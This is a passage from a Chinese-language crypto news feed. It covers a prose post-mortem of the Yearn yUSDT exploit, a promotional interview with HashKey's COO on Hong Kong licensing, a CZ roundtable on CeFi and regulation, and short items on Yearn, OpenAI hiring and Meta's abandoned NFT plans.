Stablecoin，由于第7步的操作，合约已经将所有池子中的资金全部取出来了，并且没办法添加到新池子中，导致pool这个变量计算出来就是攻击者向其中打入的1，而作为除数的pool，将计算出一个巨大的值，向攻击者铸了1.25*10^15枚yUSDT。 9.最后，攻击者利用yUSDT将其他稳定币全部兑换出来并归还闪电贷。 本次攻击主要利用了yUSDT Token合约配置错误，在进行rebalance重新选择池子的时候，仅使用了USDT（token为USDT）作为添加数量，而USDC无法添加池子，从而导致了攻击者使用USDC将该合约所有USDT“消耗掉”后，池子余额变为了0，从而铸了大量的代币。 截止发文时，Beosin KYT反洗钱分析平台发现被盗资金1150万美元部分已经转移到Tornado cash，其余还存储在攻击者地址。 针对本次事件，Beosin安全团队建议：初始化配置时进行严格检查。同时项目上线前建议选择专业的安全审计公司进行全面的安全审计，规避安全风险。  ( 3 min )
    专访HashKey Group新任COO Livio：“东升西降”的新格局已成为趋势，持牌交易所是未来10年主旋律
    Livio Weng，行业花名“七爷”，曾于2018年至2021年间任Huobi Global CEO。在三大所的辉煌年代里，是老火币的一面旗帜。4月13日，HashKey Group官方宣布，Livio Weng已正式加入担任首席运营官（COO）。 在香港Web3嘉年华期间，PANews对Livio Weng进行了专访，探讨了香港的政策红利、全球的加密市场格局，美国银行暴雷与ETH上海升级等热点，并透露了HashKeyGroup旗下合规交易所HashKeyPro接下来的动向。目前HashKey旗下的持牌交易所产品已经基本就绪，正在最后的灰度测试阶段。目前已经面向专业投资者（PI）开放早期注册和产品测试，可以支持虚拟资产的存入、提取，并推出了美元法币交易对。预计本月将上线法币通道，提供美元出入金的支持。 以下是专访的实录（在不改变原意下略有调整）： Livio Weng：很荣幸HashKey能作为主办方之一，为行业组织呈现本次香港Web3嘉年华。大会有幸邀请了包括香港财政司司长陈茂波先生、香港金管局执行总裁Clara Chan等重要官员，同时也吸引了超过1万名来自不同国家和地区的参与者，以及超过140场大大小小的周边活动，这些都超出了此前的预期。 大会前夕又适逢香港Web3.0协会成立，特首的加持更是让人们对香港Web3行业增添了更多期待。另外，本次峰会前后也恰逢ETH的上海升级，碰巧地集齐了天时、地利、人和三大要素。 作为2023年开春后的首次大规模行业活动，很多朋友都希望借此机会能够在线下重聚，预计将会有很多新故事发生在香港这篇热土上。大会是一个支点，伴随的是从业者如潮水一般快速涌入香港，进一步推动香港成为亚洲的Web3中心。 Livio Weng：作为全球金融中心之一的香港，一直对区块链赛道的发展持积极的态度，因而在港诞生出了一批头部的Web3企业和品牌。去年10月香港发布了《有关虚拟资产在港发展的政策宣言》后，更是进一步明确了政府对Web3相关的产业给予认可和扶持态度。香港证监会行政总裁梁凤仪前不久也明确表示虚拟资产平台是Web3.0生态的一部分，支持相关生态发展。本次推出虚拟资产交易所牌照制度，更是为合规经营的虚拟货币交易所提供了合法性保障，推动行业迈入战略机遇期。 1）“东升西降”的新格局已成为趋势 从全球来看，由于长期的熊市积累了大量的风险和矛盾，在一段时期内，各国对Web3产业的监管态度产生了分化。其中，以美国为代表的西方国家开始对Web3产业采取了严厉且保守的监管措施。 相比之下，香港政府对Web3产业看得更远、更深刻。例如陈茂波司长则表示，过去一段时间虚拟资产巿场大幅波动，甚至有虚拟资产交易所倒闭，都让一些人怀疑Web3的前景，但这正是推动Web3发展的最好时机。在这种鲜明的新节奏下，行业资源和人才正快速向东方汇聚，香港成为全球Web3行业的新增长极，形成“东升西降”的态势。 “东升西降”背后更本质的原因，在于美元潮汐所带来的全球资本市场乱象。推动上一轮牛市的一个重要因素，是疫情期间过度宽松的货币政策，溢出的流动性迅速推高虚拟资产等风险资产价格。而监管机构的放纵使得部分欧美机构不顾风险，在牛市高位仍然利用高杠杆放大收益。随即美联储迅速而剧烈的加息缩表，导致市场上流动性骤然紧缩，这些机构形成账面亏空，为了填补窟窿采取了高息吸引存款、挪用客户资金、操纵市场价格等风险行为，最终形成连环暴雷。由此引发的行业对机构代理人风险的忧虑，也就是各类“FUD”便愈演愈烈。尤其虚拟货币交易所的合规化，成为了行业的一个重要课题。 2）合规交易所将成为未来十年行业发展的主旋律 交易所是Web3产业的核心环节之一，也是最容易受到监管关注的业务。在过去几年中，由于缺乏统一和有效的监管标准和机制，虚拟资产交易平台存在着诸多问题和风险，如欺诈、洗钱、黑客攻击、用户资金安全等。这些问题不仅损害了投资者利益，也阻碍了Web3产业的健康发展。 因此，建立一个合规、安全、可信的交易平台监管框架是必要和紧迫的。香港证监会的虚拟资产交易平台牌照制度朝着这个方向已经迈出了重要一步。而将于6月生效的新牌照制度更是吸引了全球从业者眼球。 合规交易所的价值在于更安全的资产托管和更便捷的出入金通道，在行业各种“FUD”中立危不乱，让数字货币持有者“睡得着觉”。 随着香港持牌交易所的落地、监管框架的清晰，预计全球将涌现出一批国家和地区跟进采取类似政策。合规交易所将发展为市场主流，成为更多机构和投资者的首选。 3）香港将凭借独特优势成为孕育东方加密产业 除了领先而全面的合规化政策优势、全球金融中心的战略地位优势以外，香港还将凭借独特的地缘优势、开放的人才政策，吸引整个大东亚生态圈的企业入驻。本次峰会之后，预计会涌现一批Web3企业在香港安家落户，孕育Web3世界更大的未来。 Livio Weng：本次升级重点是允许让质押者可以提取已质押的ETH和Staking收益。在去年9月实施以太坊合并后，ETH正式从POW转向POS，但还不能取回Staking收益。本次上海升级后，质押者可以稳定可预期地取回收益。如果把BTC比作数字黄金的话，在上海升级后，ETH Staking则让链上从此拥有了“数字美债”，将催生一系列上下游的业态。 短期看，以太坊顺利完成上海升级后，大量解锁的ETH将对市场形成抛压，有可能导致利空，但影响有限。 而长期来看，ETH上海升级将提高ETH的安全性、效率和可扩展性，为未来公链发展打下坚实的基础。其中最重要的一点是，升级后的ETH将实现质押收益可取回，这将形成一个正循环，激励更多的资本购买ETH进行质押，从而推高ETH的质押率（参考其他公链在40%左右），减少实际流通盘，从而对币价构成长远利好。 Livio Weng：上海升级之后，我们比较关注EIP-4844提议中的分片技术(DankSharding)，分片的落地，有望将ETH的性能推动至10万TPS量级，将推动Web3行业进入真正的应用落地周期。 公链发展从2017年爆发开始直到现在，仍处于早期阶段，呈现着空气化、泡沫化特征，本质是链的“不可用”。由于ETH的吞吐量和扩容能力有限，导致网络拥堵、手续费高昂，严重影响了用户体验和开发者创新。与传统web2应用相比，速度和稳定性上都远远不可相比。 而在ETH 分片之后，区块链将变得“可用”。Sharding是ETH 2.0的核心技术之一，它将把ETH网络分割成多个并行运行的分片，每个分片都有自己的状态和交易。分片有望为以太坊带来更多储存及存取数据的容量，让以太坊区块链更快、可扩展性 (scalability) 更大。同时，分片有望使二层网络 (Layer-2) 技术方案的交易费用更低，又能保持采用以太坊区块链安全保障的优势。这样可以大大提高ETH的吞吐量和扩容能力。 在以太坊性能达到市场需求之前，各种其他公链本质上是承接了以太坊生态溢出的性能需求。在ETH 2.0完成一系列技术升级后，长远来看，可以期待“万链归一”，不再有各种不同公链、割裂的用户、资产、数据、服务，信息孤岛和价值壁垒被打破，从而激发更多的创新和协作。届时DApps将迎来真正的繁荣期，Web3生态的应用场景和价值创造实现迅速爆发。 可以说ETH分片的落地，在历史地位上将接近于宽带之于互联网、iPhone之于移动互联网的重要作用，标志着区块链基础设施层真正的成熟，具有划时代的意义。 Livio Weng：目前全球宏观环境比较显著的一个趋势，是以美元为代表的西方法币秩序正在加速崩溃。在这样的背景下，虚拟资产作为一种去中心化的数字资产，正显示出其特有的比较优势。 美元在过去几年的“大号潮汐”，直接促成了目前世界范围的银行流动性危机，并且不排除进一步引发新一轮全球金融危机。由此带来了人们对以美元为首的法币的信任危机，间接推动了部分先觉人群加速拥抱虚拟资产。由于虚拟资产有着原生、透明的供应发行机制，能够对冲货币政策变化和通胀侵蚀，具有更强的抗风险能力。 从Web3的角度来理解，美元信任崩溃的本质在于它采用的是单币质押无限增发模式。 美元作为全球主要的储备货币和结算货币，其无限增发模式导致了全球金融体系的失衡，给金融市场埋下了隐患。在过去数十年西方的经济顺境和长期量化宽松中，这个模式隐藏的风险并不显示化。而一旦经济陷入衰退，风险就浮出水面，美债失控、瑞士信贷暴雷，部分西方国家打破私人财产神圣不可侵犯的伪装。某种程度上说，单币质押无限增发模式走到了它的瓶颈。 被很多人遗忘的是，比特币就是在雷曼兄弟倒下的背景中诞生的。上一次2008年的金融危机中，美国雷曼兄弟公司宣布破产，引发了全球范围内的信贷紧缩、资产贬值、市场恐慌等问题。在这样的背景下，比特币诞生了。比特币是第一个成功的虚拟资产，它建立在去中心化的共识机制上，具备安全、透明、可追溯等特点。虚拟资产的出现，是对传统金融体系的一种挑战，也是人们在应对金融危机的一种自我保护机制。 如今，由于银行暴雷等外部环境变化，黄金等避险资产持续走热。相较而言，比特币、以太坊等数字资产在流动性、存储成本、交易效率等方面有着更大的选择优势，具有数字化、可编程、可分割、易于转移等优势。虚拟资产正在逐步成为主流的避险资产之一。 Livio Weng：虽然今年以来BTC和ETH等主流币有所反弹，但整体的交易量和市值仍然无法与牛市相比，市场的波动性和不确定性依然很高。此前行业连续的暴雷，也给市场带来了巨大打击，影响了投资者信心和新玩家的进场。 但是从本质上看，连续的行业爆雷反而证明了去中心化的价值： 1) 连续爆雷的本质是中心化之恶，而非否定了去中心化。爆雷来源于迷失的机构代理人在牛市的高位加了各种形式的杠杆，最终在市场走熊中形成了连环踩踏带来的恶果； 2) 以Uniswap、Compund等DeFi为代表的去中心化应用凭借着更好的链上透明度，避免了人为操纵带来的问题，反而证明了去中心化模型的价值。 因此，相信在正本清源后，行业会迎来更大的发展。 关于是否走出深熊，目前还有较大的变数。短期内影响行情的因素有以下几个方面： 1）美联储加息走向尾声，降息周期何时来临。短期预计年内还有一次加息，虽然加息预期大幅降低，但利息已经运行至高位区间，对危如累卵的美债市场形成巨大冲击。同时联储持续缩表将极大考验全球资金流动性，利空没有减少。但同时资本的避险情绪及避险需求又利好于BTC，近期的反弹则是按这一叙事推进的。 2）是否有更大的银行暴雷事件，引发全球性金融危机。银行危机短期内也将极大考验全球资金流动性，可能形成类似2020年“312事件”的连环踩踏。如果出现这样的情况，那么数字货币市场也将面临巨大的压力和挑战，可能出现大幅度的下跌和恐慌。 3）ETH上海升级后，因为链上解锁资产取回质押收益，可能形成一段时间的抛压。待市场消化抛压后，ETH质押率有望从15%左右快速提升至接近40%，市场也同步走暖。ETH上海升级是ETH 2.0路线图中的一个重要里程碑，将为ETH带来更高的安全性、可扩展性和效率。 整体而言，这一轮加密熊市并未完全结束，短期内市场尚未从此前的行业连环暴雷负面中完全走出来，不少资本依然畏之如虎，盘面交易资金和交易意愿依然处于紧张状态，需要密切观察今年以来这轮反弹的动能和持续性。 但是比较确定的是，在2024年-2025年，随着BTC减半、美元进入降息周期、ETH分片等技术推动基础设施效率迭代、合规交易平台的大范围普及，行业将进入下一个爆发周期。届时虚拟资产将迎来更广泛的应用和认可，市场也将呈现更健康和活跃的状态。 过去两年熊市的大浪淘沙中，Web3行业中真正有实力、有价值的项目反而得以保存。在投机炒作退潮后，剩下来有实力的参与者会更专注比拼技术创新、实际应用和价值创造，贡献于提升实体经济的质量，这是互联网科技产业走过的历程。 Livio Weng：目前HashKey旗下的持牌交易所产品已经基本就绪，正在最后的灰度测试阶段。目前已经面向专业投资者（PI）开放早期注册和产品测试，可以支持虚拟资产的存入、提取，并推出了美元法币交易对。预计本月将上线法币通道，提供美元出入金的支持。 作为香港持牌虚拟资产交易平台， HashKey PRO履行香港证监会的监管规定，目前仅限于为专业投资者提供服务。香港政府目前已有计划将虚拟资产开放给零售用户，我们正在与监管机构密切合作，确保在符合所有必要的监管要求后，以最快时间上线相关产品，为零售用户提供安全可靠的交易服务。 Livio Weng：对比特币等加密虚拟货币的合规化管理，是这个新事物发展史上的必然。世界上大部分的交易品类，包括历史上的黄金、白银、股票、债券等，均起源于民间行为，经历了长时间的自然演化，期间还伴随着各类风险的发生，最终在政府的主导下规范了市场行为，建立了统一大市场或者牌照监管制度。 例如，银行是由历史上的票号、钱庄规范发展而来的。明清时期的票号，吸引储蓄靠的是组织或企业家个人信用，但私营企业的信用很难支撑过经济周期或各类意外导致的挤兑，最终给社会留下大量风险。随着政府主导规范秩序，建立了各种管理机制和保障措施，银行业才逐步进入大众，走向繁荣。 虚拟货币也不例外，经过十多年的发展，已经到了不得不管的阶段。早期市面上的交易所靠的是经营者的信誉和操守，但从过去两年行业的连环暴雷来看，这样的模式也蕴含着巨大的风险，规范化、法制化势在必行。 我个人选择加入香港持牌业务的大生态中，也是因为看到了这个历史必然性，并坚定看好香港这片热土在Web3的未来发展机遇。 持牌交易所代表了未来，将会是未来5~10年的主旋律 随着全球监管环境的趋紧，未来将会有越来越多的国家和地区出台对虚拟资产交易的规范和要求，没有持牌或者不合规的交易所将会面临巨大的运营压力，甚至被取缔或关闭。在过去，虚拟资产的合法性一直受到质疑，导致新玩家不敢贸然进场。在HashKey集团申请到牌照后，许多传统机构迅速与我们进行联系并希望进行合作，需求和意愿非常强烈。随着全球各国对虚拟资产的监管框架快速明晰，持牌交易所将成为合规运营的必要条件，而非选择。对于区块链整个行业发展而言，当下的时点很可能是历史性的关键转折点。 持牌交易所的申牌周期长、经营成本高、资产类型有限，但这些约束同样也带来了经营壁垒： 1) 提供便捷且安全的法币出入金。持牌交易所可以正当地与银行等金融机构开展合作，提供合法和便捷的法币通道，让用户可以方便进行本地货币与虚拟资产的双向兑换。相比目前的中心化交易所大多仍然单纯采用风险较大的P2P场外交易，安全性大大提升。在每一轮牛市中，入金通道往往是交易所之间竞争的兵家必争之地。 2) 安全的资产托管能力。根据监管要求，持牌交易所需要采用专业的风控系统和安全措施，保证用户资产的安全存储和转移。同时，持牌交易所也需要接受监管机构的定期审查和抽查，确保其运营状况符合标准。此外，持牌交易所还需要为用户提供保险或者赔付机制，以应对可能发生的意外或者黑客攻击。 3）经营的可持续性。在牌照制逐渐成为主流的发展趋势下，各国都将不断完成对虚拟货币交易所的合规化改造，非持牌交易所将持续受到政策挤压，甚至面临刑事风险。经营的可持续性也将是合规交易所的一个长期竞争力。 美国的合规市场，催生了市值一度超过600亿美金的Coinbase。在同等体量的东方市场，我们相信市场具有同样的潜力。尤其在下一轮牛市中，随着虚拟资产价格的走高，合规交易所将迎来更大的价值体现。 Livio Weng：DEX和CEX都是虚拟资产交易生态的重要组成部分，也各自有着不同的优势和劣势。 DEX的优势是去中心化、安全、透明、无需信任，更适合有钱包操作能力的进阶用户。 CEX的优势是: 1）更低的行业准入门槛（无需开通链上钱包、管理私钥） 2）可靠的法币入金通道（DEX无法在银行开户） 3）一站式的金融服务（衍生品、理财、Staking、资讯等） 在很长的时间内，DEX和CEX都会共存，而不是相互替代。目前CEX的整体交易量和用户规模仍处于绝对优势。 Livio Weng：HashKey集团拥有完整业务生态，包括数字资产交易，托管业务，经纪业务，风险投资，资产管理，节点验证，以及DID、NFT、GameFi等Web3基础设施服务的一站式解决方案，拥有完备的CeFi与DeFi战略规划，覆盖虚拟资产的主要领域。 在交易所业务方面，HashKey Group是全球首家同时获得香港证监会、日本金融厅颁发的虚拟资产牌照（包括场外交易牌照在内）的数字资产集团，并同时拥有由新加坡金融管理局提供的根据《支付服务法》获得的豁免持有牌照，可以在指定期限内提供包括场外交易服务的数字支付代币 (DPT) 服务。 同时，HashKey Capital是全球最具影响力且规模最大的加密基金之一，也是以太坊最早期的机构投资者，自成立以来资产管理规模已超过10亿美金 ，截止目前已投资来自基础设施、工具、应用等多个赛道的500余个项目。 HashKey Group旗下的HashQuark是领先的Staking服务提供商，在全球排名前十，亚洲前三。从2018年至今已经稳定安全零故障的服务客户5年以上，支持包括以太坊，Cosmos在内的大多数主流公链的Classic Staking服务，同时也提供Liquid Staking产品。 HashKey Group刚刚还发布了生态积分HSK，用来激励赋能HashKey生态的各种业务。（相关阅读：HashKey Group将发布生态积分，一文读懂HSK的权益和分配机制）与传统概念中的平台币不同，HSK不进行以筹集资金为目标的公开销售行为，而是面向HashKey PRO交易所以及其他生态业务的早期参与用户、核心贡献者进行奖励，其中也包括本次Web3嘉年华活动的参会者。 HashKey Group将持续投入更大的资源和热情，伴随香港的Web3战略，为行业贡献发展动能。 这是一个充满变革的年代，香港有望在“东升西降”的全球格局变化中释放强大的政策红利，成为全球Web3产业高地。我们将有力推动持牌业务尤其是合规交易所的发展壮大，在复杂的全球宏观金融环境中，成为人们保护资产安全、获取Web3行业发展红利的避风港。  ( 2 min )
    Binance创始人CZ：以平衡视角看待CeFi和DeFi风险，大部分监管者缺乏加密行业经验
    4月12日-15日，由万向区块链实验室、HashKey Group联合主办，W3ME承办的“2023香港Web3嘉年华（Hong Kong Web3 Festival 2023）”在香港会议展览中心举行，Binance CEO CZ与HashKey Capital的CEO邓超进行了圆桌对话，他表示，CeFi和DeFi有不同的风险，都需要将安全列入考量。其实传统的金融服务供应商、银行都有风险，甚至各个国家都有风险，你只需要学习风险的管理就好了。非常重要的是，不要用一种非黑即白的天真方式看待事情，要有平衡的视角。 他还指出，如果行业没有监管的清晰度是最糟糕的，哪怕有严格的限制性监管制度都好于这个，从业者至少知道可以做什么事情。在有清楚监管规则的情况下，仍会出现一些或好或坏的决定。每一个监管方向的决定肯定是有所考量的，需要找一个理想的平衡点，同时平衡也可能是随着时间的推移在改变的。目前大部分监管者没有加密行业经验，大部分金融业监管者仅有银行从业经验，所以行业之间的交流就显得非常重要。 “Web3领域的重点主要是基础应用，我称之为所谓实验性的或者早期创新，一旦技术被证明可行，我会希望能够让上亿人都受益，但钱包是目前最大的阻碍加密货币采用的困难点。”CZ还在圆桌对话中表示。 以下为对话全文： 邓超：大家下午好！我知道今天非常长，但非常令人兴奋的一天，我是HashKey Capital的CEO邓超，我们是最大，也是最早期的区块链空间投资者，我们是机构投资商，从2015年开始投资了超过10亿美元，超过了500个全球性项目。我非常荣幸能够进行炉边的聊天，通常我会花几分钟的时间介绍一下嘉宾，但今天这位嘉宾是不需要介绍的。女士们、先生们，我们一起欢迎CZ，谢谢你花时间参加我们的会议，你要不要和观众先说一下Hello？ CZ：大家好，我是币安的CEO，由于时间的冲突没有办法去到现场，我去过香港很多次也非常喜欢这里，也期待下一次能够参加这个会议。 邓超：今天这个课题是谈CeFi，我要代表观众问一些问题，关于CeFi的生态系统，要听一听你的想法和你的洞见。首先从用户最在乎的安全问题，最近我们看到有一些安全事故，前几年有一些人在说，由于CeFi对于中心化基础设施的依赖，没有那么安全。我们怎么样预防基础设施的故障，以确保用户的资金是安全的？ CZ：CeFi和DeFi有不同的风险，都需要将安全列入考量，CeFi有自己的风险特征，不是说一个比另一个更安全，你必须把安全的措施考虑进来。对于CeFi来说，CeFi的交易所也可以是非常透明的，有很好的储备证明，这个在区块链上是可以验证的。 举例来说，币安的钱包地址其实非常透明，反观FTX的钱包地址从来没有公开，所以CeFi的平台如果是透明的话，其实是可以比传统的金融服务提供商更加透明。 谈到DeFi，如果你能把自己的密钥妥善保护的话，自己保管私钥就会是是一个好的方式，也会有更多控制权。但我认为，今天大部分人是没有办法完全妥善保护自己安全或密钥的，即使使用电脑或硬件钱包，仍需要做备份，并且也要保护备份资料，所以有很多因素，有不同的风险特征。用户必须将这些都纳入考量，不能只单方面考虑说一个比另外一个好。而且在使用DeFi的时候钱包也可能会被攻击，我昨天就遇到这样的例子，有一位用户的钱包IP地址被泄露了，就导致他失去了资金。 邓超：第二个问题是和安全相关的信任，关于一些臭名昭著的CeFi平台内部坍塌以后，在新闻上、头条上一直围绕着CeFi的关键因素“信任/缺乏信任”，用户怎么信任CeFi公司呢？CeFi、Web3公司能做什么事情重新在用户群体内建立信任，包括其他相关的利益相关方取得信任。 CZ：当我们在谈信任的时候，我通常会考虑到三个层面： 第一个层面，对于科技的依赖。在我们这个去信任化的行业，是可以使用技术来验证的，技术在某种程度上能够产生效用。如果用比特币，或使用区块链，就可以自行验证你的钱是不是在那，你的密钥等。 第二个层面，对于平台来说，你做任何服务和业务，即便说使用区块链、比特币，还是要信任社群。这种信任需要时间来验证，特别是对中心化平台。过去十年有成千上万的失败交易所出现，所以信任需要时间来取得，并且是必须通过我们的行动去证明，我相信，币安拥有非常强的用户信任。 第三个层面，要进行自我教育和风险管理。每一件你所做的事情都有风险，中心化平台有风险，DeFi也有风险，传统的金融服务供应商、银行都有风险，甚至各个国家都有风险，你只需要学习风险的管理就好了。非常重要的是，不要用一种非黑即白的天真方式看待事情，要有平衡的视角。 邓超：对于安全放心信任平台之后，下一个问题是谈到交易所是让人们进入到加密货币或Web3的门户。很多人是通过币安进入到加密货币、进入到Web3领域，但是看看用户的体验，在Web2和Web3的应用中还是有体验差距的，到底是什么阻止了用户在某种程度上进入到Web3呢？你能不能分享一下币安在提升用户体验上做了什么工作，你是怎么样看待CeFi能够更进一步提升用户体验，将更多用户带入到Web3世界的呢？ CZ：确实是这样，今天CeFi在Web3的体验并不是那么好，从用户的角度来说，他们需要注册，需要做2FA认证，需要做硬件密钥，还要做KYC和地址证明，不同阶段会有很多的风险控制。 在Web2里，大部分Web2不需要做KYC，大部分社交媒体例如在使用Google、WeChat时是不需要做KYC的，因此Web3这种用户体验并不像使用互联网那么简单。 谈到DeFi，大部分的DeFi是没有KYC、AML流程的，其实它更加容易使用。但今天大部分人倾向使用CeFi，因为他们更青睐于使用邮件、客户服务的支持，如果失去了密码，在通过验证后可以简单找回来。 在Web3世界，因为我们在处理的是用户的资产以安全至上。我们目前还没有实现一个最优解，让所有的东西都非常安全同时非常易用，安全和便捷是成反比的。我们必须使用非常多的安全措施，希望在相应技术的提升后，我们可以减少这些层层措施。 提到这里，币安做了很多事情以提升用户体验，如在KYC方面，我们会按国家、按区域有当地KYC的流程，用当地政府资料库和用当地供应商提出专业化、定制化解决方案。比如说用当地驾照来进行KYC，使用本地化的解决方案。 但总体来说，我本人对Web3的使用体验还并不是很满意，有很多提升空间，但这也意味着有很多机会。 邓超：谢谢CZ，你一开始谈到了CeFi和DeFi的比较，今天下午也有论坛讨论了这一课题。结论不是CeFi和DeFi对抗的情况。可能有一段时间，CeFi和DeFi是共存的，你同意这种结论吗？你觉得DeFi和CeFi在未来一年或几年内会不会共存？ CZ：确实，CeFi不是反对DeFi，而DeFi也不应该反对任何人。在去中心化的世界以及去中心化的行业内不应该有门槛，任何人都可以参与。任何两个人在一起合作就是中心化，纯粹的去中心化就没有合作了，当你形成公司、形成项目团队的时候，这就是中心化，总是会有一些中心化的元素在去中心化的世界上。 从DeFi角度，我们要帮助更多人从传统行业进入到加密资产与DeFi行业，在这两个地方之间搭建“桥梁”，我们也在积极促进这种转换。所以当下我们要做的是一起协作，在技术、产品服务方面填补差距。因为有太多差距要填补，这无关竞争，无论使用DeFi还是CeFi都是用户的选择问题。更多人使用DeFi的话，也会有更多人使用CeFi，两边都有不同的用户群体，我们只需要一起合作把行业做大。 邓超：就CeFi和DeFi的比较，你怎么看待大规模采纳？我们已经有几轮周期讨论这个事，你觉得什么会触发加密和区块链大规模的采纳，触发点会是什么？是杀手级应用吗？是监管吗？还是竞争吗？现在进度到了哪里了？到底什么会是下一波触发点？ CZ：什么能够触发下一次大规模采用，这个问题总是随着时间有所不同，说实话我也没法预测，2013年初我也无法保证预测比特币会像这样大规模地起飞；2017年是ICO的一年，每个人都在做ICO；2020年中的时候DeFi起飞了，紧接着2021年的热点是NFT。 当下重要的是我们要提供生态环境，让人们可以尝试不同的东西，不同事物需要的时间是不一样的。今天如果这样问我的话，我想说很多国家政府在尝试控制加密货币，但这样做可能反而触发了加密货币的增长，对于传统金融市场更多的限制，就会促使更多人来到加密货币的市场。想要让大家留在传统金融，最好的做法是让传统市场费率降下来，让交易更加容易，更好提升用戶体验。但传统金融行业目前内缺乏改进，这是我们现在或将来看到推进行业的动力。 邓超：你既然提到政府和业界，结束之前我必须得问一下关于监管方面，你的看法。非常感谢香港政府大力支持Web3行业，这也是为什么这个星期我们能够聚集在香港出席Web3嘉年华。我们都同意监管机构应该参与互动、交流制定好的规则、好的监管框架，也需要能够平衡、鼓励创新和防范非法行为和犯罪行为。你会给监管机构什么样的建议呢？如何才能设计深思熟虑又有实际务实的监管框架。同时你会给业界从业者什么建议？在座有很多从业者都在跟监管机构对话，这确实是非常重要的话题。 CZ：这是一个很重要的议题。我完全同意你所说的，行业如果没有监管的清晰度是最糟糕的，哪怕有严格的限制性监管制度都好于这个，从业者至少知道可以做什么事情。举例来说，2017年中国监管要求交易所停止运营，所以我们离开了。在有清楚监管规则的情况下，仍会出现一些或好或坏的决定。每一个监管方向的决定肯定是有所考量的，需要找一个理想的平衡点，同时平衡也可能是随着时间的推移在改变的。 当行业还在很早期的时候，主要是要让行业发展，因为那时候你还无法预测什么东西会成为热点。例如在NFT还没有推广开的时候，没有理由需要为其设置监管，或者为未来某一个我们还不知道的领域设置监管范围，现在我们需要让行业先发展成长，在行业成长起来之后，可能会出现各种各样不法分子或损坏其他利益的人，这时候我们就需要将这些人隔绝在监管之外，以防止他们去伤害其他人。 还有一种自然的倾向，监管者试图用传统金融行业的监管模板，套用于加密货币领域，但这两者是不一样的。而且加密资产类型也不一样，有的看上去更像证券，有的看上去是商品，有的看上去是功能代币，而有的是结合了上述的几种特征。 因此对监管者来说，能对行业有深入的理解是非常必要的，我必须直白地说，目前大部分监管者没有加密行业经验，大部分金融业监管者仅有银行从业经验，所以行业之间的交流就显得非常重要；对于从业者而言，必须非常积极地跟监管机构打交道，比如我们积极与各国监管机关交流沟通，有些国家政府监管接受度非常高，有些则是持怀疑态度的，这都不要紧，我们要做的就是持续耐心地交流。 通常第一版监管条例，会限制过度。从现在有限的监管框架，到一下子变成过度严厉的监管，肯定要有调整，也需要一段时间才能找到最佳的平衡，这是我的观点，币安也在世界各国非常积极主动地跟监管机构交流打交道，我们也乐意在香港探索更多可能。 邓超：接下来两三年哪个Web3的领域会让你非常兴奋？ CZ：很多方面都不错。我的重点主要是基础应用，我称之为所谓实验性的或者早期创新，这是我这个人的性格决定的。一旦技术被证明可行，我会希望能够让上亿人都受益。 现在有些实验非常有意思，NFT、比特币以及其他的区块链、加密货币支付，说到底还得解决钱包的问题，今天的钱包不够好用，我认为这是目前最大的阻碍加密货币采用的困难点。对于币安而言，我们作为平台服务商，要做得是让人们能够接触到加密货币，也能让项目打造加密货币生态系统。这是我们的角度，但我个人对很多东西都觉得非常有意思。 邓超：有很多可以值得期待，时间有限，这场对话就到这里，非常感谢CZ跟我们非常坦诚而富有洞察的分享，感谢CZ！  ( 2 min )
    Yearn：yUSDT代币合约中漏洞存在于多个版本，下游协议的流动性提供者仍受影响
    PANews 4月14日消息，Yearn Finance在推特上发布攻击事件调查进展，称如之前所诉，Yearn被攻击的根本原因是遗留在iEarn USDT (yUSDT) 代币合约中的漏洞。这个漏洞存在于多个版本中，并导致多个Curve池（y、busd、pax）被利用和耗尽。将LP代币存入下游协议的流动性提供者仍然受到影响，这包括封装这些受影响的LP的Yearn v2保险库 (2)和旧版v1保险库(2)的用户。在之前的推文中，Yearn表示，当前版本Yearn v2 Vaults不受影响。 此前昨日消息，Yearn Finance项目遭受攻击，黑客获利超1000万美元。  ( 1 min )
    OpenAI正招募移动端工程开发团队，或将推出App
    PANews 4月14日消息，据OpenAI官网显示，其正招募移动端工程开发团队，跨iOS和Android的工程主管年薪为20至 7万美元。据ChatGPT移动工程经理的岗位描述，该职位负责与产品、设计和研究团队以及其他工程团队密切合作，并帮助奠定OpenAI移动开发的基础。  ( 1 min )
    侵权、监管、骗局，面对这些潜在问题，Meta放弃了NFT计划
    原文：《Meta's Botched NFT Plans》by Joel John 编译：Leah，Foresight News 在上篇文章中我提到，Meta 放弃了将 NFT 集成到他们的核心产品 Facebook 和 Instagram 的计划。如果市场没有因为银行业的危机而陷入恐慌，这件事本应引起相当大的关注。就像大多数熊市中爆出的雷一样，我们不愿多加讨论，但却有必要从中吸取教训。 首先，值得思考的是为什么 Web2 对于诸如 NFT 这样的工具如此重要。普通人在 Facebook 和 Instagram 这样的平台上花费了大量时间。要了解这些平台对用户的影响，我们可以先将目光转移到几年前，彼时 Instagram 通过添加一项功能「复制」了 Snapchat 。在那之前，Snapchat 是青少年分享生活状态的地方，他们上传的图片只会在平台上保留一天时间。 在两次收购初创公司失败后，Meta 开始在 Instagram 和 WhatsApp 上推出故事功能。消费者（包括我自己）开始使用这些产品来分享故事和表情包，因为我们的社交圈子开始在这些应用上搭建起来。几年后，当印度宣布封杀 TikTok 时，Instagram 稳步推出了 Reels，他们尝试复制 TikTok, 让用户可以滚动浏览短视频。 你看到这里的趋势了吗？大型平台可以驱动用户行为，所以允许用户在 Twitter 上验证他们的 NFT 或将 NFT 链接到他们的 Instagram 个人资料是一件大事。（我们稍后会回到这个话题。）为了感受 Web2 平台的规模，回想一下 Reddit 的 NFT 在 Polygon 网络上已被 mint 了超七百万次。Web3 产品必须走近用户所在的地方。 但 Meta 似乎对将 NFT 纳入他们的核心战略并不感兴趣。为什么？ 简而言之，NFT 在 Web2 平台上的地位很尴尬。像 Instagram 这样的社交媒体平台是寻求地位的机器。用户以滤镜、地点和生活方式为标签开展竞争，以期提升自己在社交排名中的地位。我们通过喜欢和参与度来量化这些「排名」。 来源：Nansen Meta 启用了 NFT 访问机制时，它预设 NFT 将成为用户炫耀资产或展示品牌忠诚度的一种机制。但即使是像无聊猿（Bored Apes）这样的大型 NFT 也仅有 5800 个持有者，因此专注于这个小众用户群体反而成为了麻烦，这并不能给 Meta 带来很大的价值。 但为什么说它的地位尴尬呢？NFT 成为主流，明星在过去的几年里不断为其背书。然而，在 FTX 事件和行业经历大量诉讼案件之后，名人们没有理由继续谈论他区块链上的 JPEG 图片。所以，这些表明 「NFT 有品味」的标志已经不复存在。对于 NFT 来说，要成为一种品味的标志，必须要经受时间的考验。哈佛大学、LV 和比特币在标榜品味方面有着相同的缘由——林迪效应。 